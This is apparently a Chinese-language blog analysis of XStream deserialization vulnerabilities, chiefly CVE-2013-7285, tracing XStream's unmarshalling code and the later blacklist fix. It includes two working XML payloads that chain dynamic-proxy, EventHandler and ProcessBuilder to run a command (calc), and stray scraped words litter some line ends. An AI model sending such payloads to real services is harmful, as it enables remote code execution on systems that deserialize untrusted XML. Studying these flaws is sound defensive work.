很久沒寫漏洞分析文章了,最近感受在審代碼的時候,XStream 組件出現的頻率比較高,藉此來學習一波XStream的漏洞分析。html
下面羅列一下XStream歷史漏洞java
XStream 遠程代碼執行漏洞 | CVE-2013-7285 | XStream <= 1.4.6 |
---|---|---|
XStream XXE | CVE-2016-3674 | XStream <= 1.4.8 |
XStream 遠程代碼執行漏洞 | CVE-2019-10173 | XStream < 1.4.10 |
XStream 遠程代碼執行漏洞 | CVE-2020-26217 | XStream <= 1.4.13 |
XStream 遠程代碼執行漏洞 | CVE-2021-21344 | XStream : <= 1.4.15 |
XStream 遠程代碼執行漏洞 | CVE-2021-21345 | XStream : <= 1.4.15 |
XStream 遠程代碼執行漏洞 | CVE-2021-21346 | XStream : <= 1.4.15 |
XStream 遠程代碼執行漏洞 | CVE-2021-21347 | XStream <= 1.4.15 |
XStream 遠程代碼執行漏洞 | CVE-2021-21350 | XStream : <= 1.4.15 |
XStream 遠程代碼執行漏洞 | CVE-2021-21351 | XStream : <= 1.4.15 |
XStream 遠程代碼執行漏洞 | CVE-2021-29505 | XStream : <= 1.4.16 |
詳細可查看XStream 官方地址git
XStream是一套簡潔易用的開源類庫,用於將Java對象序列化爲XML或者將XML反序列化爲Java對象,是Java對象和XML之間的一個雙向轉化器。github
public static void main(String[] args) { XStream xStream = new XStream(); Person person = new Person(); person.setName("xxx"); person.setAge(22); String s = xStream.toXML(person); System.out.println(s); }
<com.nice0e3.Person> <name>xxx</name> <age>22</age> </com.nice0e3.Person>
XStream xStream = new XStream(); String xml = "<com.nice0e3.Person>\n" + " <name>xxx</name>\n" + " <age>22</age>\n" + "</com.nice0e3.Person>"; Person person1 = (Person)xStream.fromXML(xml); System.out.println(person1);
結果緩存
Person{name='xxx', age=22}
分析前先來看到EventHandler
類,EventHandler類是實現了InvocationHandler
的一個類,設計本意是爲交互工具提供beans,創建從用戶界面到應用程序邏輯的鏈接。其中會查看調用的方法是否爲hashCode
、equals
、toString
,若是不爲這三個方法則往下走,而咱們的須要利用的部分在下面。EventHandler.invoke()
-->EventHandler.invokeInternal()
-->MethodUtil.invoke()
任意反射調用。安全
XStream 做爲客戶端對外提供XML解析與轉換的相關方法。app
AbstractDriver 爲XStream提供流解析器和編寫器的建立。目前支持XML(DOM,PULL)、JSON解析器。解析器HierarchicalStreamReader,編寫器HierarchicalStreamWriter(PS:XStream默認使用了XppDriver)。函數
MarshallingStrategy 編組和解組策略的核心接口,兩個方法:
marshal:編組對象圖
unmarshal:解組對象圖
TreeUnmarshaller 樹解組程序,調用mapper和Converter把XML轉化成java對象,裏面的start方法開始解組,convertAnother
方法把class轉化成java對象。
TreeMarshaller 樹編組程序,調用mapper和Converter把java對象轉化成XML,裏面的start方法開始編組,convertAnother
方法把java對象轉化成XML。
它的抽象子類AbstractTreeMarshallingStrategy
有抽象兩個方法
createUnmarshallingContext
createMarshallingContext
用來根據不一樣的場景建立不一樣的TreeUnmarshaller
子類和TreeMarshaller
子類,使用了策略模式,如ReferenceByXPathMarshallingStrategy
建立ReferenceByXPathUnmarshaller
,ReferenceByIdMarshallingStrategy
建立ReferenceByIdUnmarshaller
(PS:XStream默認使用ReferenceByXPathMarshallingStrategy
工具
Mapper 映射器,XML的elementName
經過mapper獲取對應類、成員、屬性的class對象。支持解組和編組,因此方法是成對存在real 和serialized,他的子類MapperWrapper
做爲裝飾者,包裝了不一樣類型映射的映射器,如AnnotationMapper
,ImplicitCollectionMapper
,ClassAliasingMapper
。學習
ConverterLookup 經過Mapper獲取的Class對象後,接着調用lookupConverterForType
獲取對應Class的轉換器,將其轉化成對應實例對象。DefaultConverterLookup
是該接口的實現類,同時實現了ConverterRegistry
的接口,全部DefaultConverterLookup
具有查找converter功能和註冊converter功能。全部註冊的轉換器按必定優先級組成由TreeSet保存的有序集合(PS:XStream 默認使用了DefaultConverterLookup)。
根據elementName
查找對應的Class,首先調用realClass
方法,而後realClass
方法會在全部包裝層中一層層往下找,並還原elementName
的信息,好比在ClassAliasingMapper
根據component
別名得出Component
類,最後在DefaultMapper
中調用realClass
建立出Class。
CachingMapper
-->SecurityMapper
-->ArrayMapper
-->ClassAliasingMapper
-->PackageAliasingMapper
-->DynamicProxyMapper
--->DefaultMapper
1.4.x<=1.4.6或1.4.10
XStream序列化和反序列化的核心是經過Converter
轉換器來將XML和對象之間進行相互的轉換。
XStream反序列化漏洞的存在是由於XStream支持一個名爲DynamicProxyConverter
的轉換器,該轉換器能夠將XML中dynamic-proxy
標籤內容轉換成動態代理類對象,而當程序調用了dynamic-proxy
標籤內的interface
標籤指向的接口類聲明的方法時,就會經過動態代理機制代理訪問dynamic-proxy
標籤內handler
標籤指定的類方法;利用這個機制,攻擊者能夠構造惡意的XML內容,即dynamic-proxy
標籤內的handler
標籤指向如EventHandler
類這種可實現任意函數反射調用的惡意類、interface
標籤指向目標程序必然會調用的接口類方法;最後當攻擊者從外部輸入該惡意XML內容後便可觸發反序列化漏洞、達到任意代碼執行的目的。
public static void main(String[] args) { XStream xStream = new XStream(); String xml = "<sorted-set>\n" + " <string>foo</string>\n" + " <dynamic-proxy>\n" + " <interface>java.lang.Comparable</interface>\n" + " <handler class=\"java.beans.EventHandler\">\n" + " <target class=\"java.lang.ProcessBuilder\">\n" + " <command>\n" + " <string>cmd</string>\n" + " <string>/C</string>\n" + " <string>calc</string>\n" + " </command>\n" + " </target>\n" + " <action>start</action>\n" + " </handler>\n" + " </dynamic-proxy>\n" + "</sorted-set>"; xStream.fromXML(xml); }
一路跟蹤下來代碼走到com.thoughtworks.xstream.core.TreeUnmarshaller#start
public Object start(final DataHolder dataHolder) { this.dataHolder = dataHolder; //經過mapper獲取對應節點的Class對象 final Class<?> type = HierarchicalStreams.readClassType(reader, mapper); //Converter根據Class的類型轉化成java對象 final Object result = convertAnother(null, type); for (final Runnable runnable : validationList) { runnable.run(); } return result; }
調用HierarchicalStreams.readClassType
方法,從序列化的數據中獲取一個真實的class對象。
public static Class<?> readClassType(final HierarchicalStreamReader reader, final Mapper mapper) { if (classAttribute == null) { // 經過節點名獲取Mapper中對應的Class Class<?> type = mapper.realClass(reader.getNodeName()); return type; }
方法內部調用readClassAttribute
。來看到方法
public static String readClassAttribute(HierarchicalStreamReader reader, Mapper mapper) { String attributeName = mapper.aliasForSystemAttribute("resolves-to"); String classAttribute = attributeName == null ? null : reader.getAttribute(attributeName); if (classAttribute == null) { attributeName = mapper.aliasForSystemAttribute("class"); if (attributeName != null) { classAttribute = reader.getAttribute(attributeName); } } return classAttribute; }
其中調用獲取調用aliasForSystemAttribute
方法獲取別名。
獲取resolves-to
和class
判斷解析的xml屬性值中有沒有這兩字段。
這裏返回爲空,繼續來看到com.thoughtworks.xstream.core.util.HierarchicalStreams#readClassType
爲空的話,則走到這裏
type = mapper.realClass(reader.getNodeName());
獲取當前節點的名稱,並進行返回對應的class對象。
跟蹤mapper.realClass
方法。com.thoughtworks.xstream.mapper.CachingMapper#realClass
public Class realClass(String elementName) { Object cached = this.realClassCache.get(elementName); if (cached != null) { if (cached instanceof Class) { return (Class)cached; } else { throw (CannotResolveClassException)cached; } } else { try { Class result = super.realClass(elementName); this.realClassCache.put(elementName, result); return result; } catch (CannotResolveClassException var4) { this.realClassCache.put(elementName, var4); throw var4; } } }
找到別名應的類,存儲到realClassCache中,而且進行返回。
執行完成回到com.thoughtworks.xstream.core.TreeUnmarshaller#start
中
跟進代碼
Object result = this.convertAnother((Object)null, type);
來到這裏
public Object convertAnother(final Object parent, Class<?> type, Converter converter) { //根據mapper獲取type實現類 type = mapper.defaultImplementationOf(type); if (converter == null) { //根據type找到對應的converter converter = converterLookup.lookupConverterForType(type); } else { if (!converter.canConvert(type)) { final ConversionException e = new ConversionException("Explicitly selected converter cannot handle type"); e.add("item-type", type.getName()); e.add("converter-type", converter.getClass().getName()); throw e; } } // 進行把type轉化成對應的object return convert(parent, type, converter); }
this.mapper.defaultImplementationOf
方法會在mapper對象中去尋找接口的實現類
下面調用 this.converterLookup.lookupConverterForType(type);
方法尋找對應類型的轉換器。
public Converter lookupConverterForType(final Class<?> type) { //先查詢緩存的類型對應的轉換器集合 final Converter cachedConverter = type != null ? typeToConverterMap.get(type.getName()) : null; if (cachedConverter != null) { //返回找到的緩存轉換器 return cachedConverter; } final Map<String, String> errors = new LinkedHashMap<>(); //遍歷轉換器集合 for (final Converter converter : converters) { try { //判斷是否是符合的轉換器 if (converter.canConvert(type)) { if (type != null) { //緩存類型對應的轉換器 typeToConverterMap.put(type.getName(), converter); } //返回找到的轉換器 return converter; } } catch (final RuntimeException | LinkageError e) { errors.put(converter.getClass().getName(), e.getMessage()); } } }
canConvert 變量全部轉換器,經過調用Converter.canConvert()
方法來匹配轉換器是否可以轉換出TreeSet
類型,這裏找到知足條件的TreeSetConverter
轉換器
下面則是調用this.typeToConverterMap.put(type, converter);
將該類和轉換器存儲到map中。
而後將轉換器進行返回。
回到com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother
中,執行來到這裏。
protected Object convert(Object parent, Class type, Converter converter) { Object result; if (this.parentStack.size() > 0) { result = this.parentStack.peek(); if (result != null && !this.values.containsKey(result)) { this.values.put(result, parent); } } String attributeName = this.getMapper().aliasForSystemAttribute("reference"); String reference = attributeName == null ? null : this.reader.getAttribute(attributeName); Object cache; if (reference != null) { cache = this.values.get(this.getReferenceKey(reference)); if (cache == null) { ConversionException ex = new ConversionException("Invalid reference"); ex.add("reference", reference); throw ex; } result = cache == NULL ? null : cache; } else { cache = this.getCurrentReferenceKey(); this.parentStack.push(cache); result = super.convert(parent, type, converter); if (cache != null) { this.values.put(cache, result == null ? NULL : result); } this.parentStack.popSilently(); } return result; }
獲取reference別名後,從xml中獲取reference標籤內容。獲取爲空則調用
this.getCurrentReferenceKey()
來獲取當前標籤將當前標籤。
調用this.types.push
將獲取的值壓入棧中,跟進查看一下。
public Object push(Object value) { if (this.pointer + 1 >= this.stack.length) { this.resizeStack(this.stack.length * 2); } this.stack[this.pointer++] = value; return value; }
實際上作的操做也只是將值存儲在了this.stack
變量裏面。
來到如下代碼
Object result = converter.unmarshal(this.reader, this);
調用傳遞進來的類型轉換器,也就是前面經過匹配獲取到的類型轉換器。調用unmarshal
方法,進行xml解析。也就是com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { TreeSet result = null; Comparator unmarshalledComparator = this.treeMapConverter.unmarshalComparator(reader, context, (TreeMap)null); boolean inFirstElement = unmarshalledComparator instanceof Null; Comparator comparator = inFirstElement ? null : unmarshalledComparator; TreeMap treeMap; if (sortedMapField != null) { TreeSet possibleResult = comparator == null ? new TreeSet() : new TreeSet(comparator); Object backingMap = null; try { backingMap = sortedMapField.get(possibleResult); } catch (IllegalAccessException var11) { throw new ConversionException("Cannot get backing map of TreeSet", var11); } if (backingMap instanceof TreeMap) { treeMap = (TreeMap)backingMap; result = possibleResult; } else { treeMap = null; } } else { treeMap = null; } if (treeMap == null) { PresortedSet set = new PresortedSet(comparator); result = comparator == null ? new TreeSet() : new TreeSet(comparator); if (inFirstElement) { this.addCurrentElementToCollection(reader, context, result, set); reader.moveUp(); } this.populateCollection(reader, context, result, set); if (set.size() > 0) { result.addAll(set); } } else { this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator); } return result; }
調用unmarshalComparator
方法判斷是否存在comparator,若是不存在,則返回NullComparator對象。
protected Comparator unmarshalComparator(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result) { Comparator comparator; if (reader.hasMoreChildren()) { reader.moveDown(); if (reader.getNodeName().equals("comparator")) { Class comparatorClass = HierarchicalStreams.readClassType(reader, this.mapper()); comparator = (Comparator)context.convertAnother(result, comparatorClass); } else { if (!reader.getNodeName().equals("no-comparator")) { return NULL_MARKER; } comparator = null; } reader.moveUp(); } else { comparator = null; } return comparator; }
回到com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal
獲取爲空,則 inFirstElement
爲false,下面的代碼comparator
變量中三目運算返回null。而possibleResult
也是建立的是一個空的TreeSet
對象。然後則是一些賦值,就不必一一去看了。來看到重點部分。
this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
跟進一下。
protected void populateTreeMap(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result, Comparator comparator) { boolean inFirstElement = comparator == NULL_MARKER; if (inFirstElement) { comparator = null; } SortedMap sortedMap = new PresortedMap(comparator != null && JVM.hasOptimizedTreeMapPutAll() ? comparator : null); if (inFirstElement) { this.putCurrentEntryIntoMap(reader, context, result, sortedMap); reader.moveUp(); } this.populateMap(reader, context, result, sortedMap); try { if (JVM.hasOptimizedTreeMapPutAll()) { if (comparator != null && comparatorField != null) { comparatorField.set(result, comparator); } result.putAll(sortedMap); } else if (comparatorField != null) { comparatorField.set(result, sortedMap.comparator()); result.putAll(sortedMap); comparatorField.set(result, comparator); } else { result.putAll(sortedMap); } } catch (IllegalAccessException var8) { throw new ConversionException("Cannot set comparator of TreeMap", var8); } }
下面調用了this.putCurrentEntryIntoMap
跟進查看一下。
讀取標籤內的內容並緩存到target這個Map中。
reader.moveUp()
日後解析xml
而後調用this.populateMap(reader, context, result, sortedMap);
跟進方法查看
protected void populateMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, final Map target) { TreeSetConverter.this.populateCollection(reader, context, new AbstractList() { public boolean add(Object object) { return target.put(object, object) != null; } public Object get(int location) { return null; } public int size() { return target.size(); } }); }
其中調用populateCollection
用來循環遍歷子標籤中的元素並添加到集合中。
調用addCurrentElementToCollection
-->readItem
protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) { Class type = HierarchicalStreams.readClassType(reader, this.mapper()); return context.convertAnother(current, type); }
讀取標籤內容,而且獲取轉換成對應的類,最後將類添加到targer中。
跟蹤一下看看。大概流程和前面的同樣。
一路跟蹤來到
com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal
前面得到的DynamicProxyConverter
。
這就獲取到了一個動態代理的類。EventHandler
com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap
中調用result.putAll
,也就是代理了EventHandler
類的putALL。動態代理特性則會觸發,EventHandler.invoke
。
invoke的主要實現邏輯在invokeInternal
怎麼說呢,總體一套流程其實就是一個解析的過程。從com.thoughtworks.xstream.core.TreeUnmarshaller#start
方法開始解析xml,調用HierarchicalStreams.readClassType
經過標籤名獲取Mapper中對於的class對象。獲取class完成後調用com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother
,該方法會根據class轉換爲對於的Java對象。convertAnother
的實現是mapper.defaultImplementationOf
方法查找class實現類。根據實現類獲取對應轉換器,獲取轉換器部分的實現邏輯是ConverterLookup
中的lookupConverterForType
方法,先從緩存集合中查找Converter
,遍歷converters
找到符合的Converter
。隨後,調用convert
返回object對象。convert
方法實現邏輯是調用獲取到的converter
轉換器的unmarshal
方法來根據獲取的對象,繼續讀取子節點,並轉化成對象對應的變量。直到讀取到最後一個節點退出循環。最終獲取到java對象中的變量值也都設置,整個XML解析過程就結束了。
<tree-map> <entry> <string>fookey</string> <string>foovalue</string> </entry> <entry> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> <string>good</string> </entry> </tree-map>
咱們第一個payload使用的是sortedset
接口在com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother
方法中this.mapper.defaultImplementationOf(type);
尋找到的實現類爲java.util.TreeSet
。根據實現類尋找到的轉換器即TreeSetConverter
。
這裏使用的是tree-map
,獲取的實現類是他自己,轉換器則是TreeMapConverter
。一樣是經過動態代理的map對象,調用putAll方法觸發到EventHandler.invoke
裏面實現任意反射調用。
com.thoughtworks.xstream.core.util.HierarchicalStreams#readClassType
該行代碼爆出Method threw 'com.thoughtworks.xstream.mapper.CannotResolveClassException' exception.
沒法解析異常。
發現是從遍歷去調用map,調用realClass查找這裏並無從map中找到對應的class。因此這裏報錯了。
com.thoughtworks.xstream.core.TreeUnmarshaller#start
Class type = HierarchicalStreams.readClassType(this.reader, this.mapper); Object result = this.convertAnother((Object)null, type);
獲取class部分紅功了,報錯位置在調用this.convertAnother
轉換成Object對象步驟上。
跟進查看一下。
EventHandler
的處理由ReflectionConverter
來處理的,在1.4.7-1.4.9版本。添加了canConvert
方法的判斷。
com.thoughtworks.xstream.converters.reflection.ReflectionConverter#canConvert
中沒了對EventHandler
類的判斷。
1.4.10版本之後添加了XStream.setupDefaultSecurity(xStream)
方法的支持。
com.thoughtworks.xstream.XStream$InternalBlackList#canConvert
中
public boolean canConvert(Class type) { return type == Void.TYPE || type == Void.class || XStream.this.insecureWarning && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto.")); }
添加黑名單判斷。
篇章略長,分開幾部分來寫。